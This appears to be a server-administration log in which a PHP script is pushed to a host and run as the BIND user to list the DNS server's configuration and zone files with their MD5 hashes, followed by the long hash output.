MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 14:00:58: Establishing a connection
2026-03-21 14:00:58: Establishing a connection
2026-03-21 14:00:58: 

PUT: /tmp/pkp642593

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:00:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp642593; rm /tmp/pkp642593'

2026-03-21 14:00:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
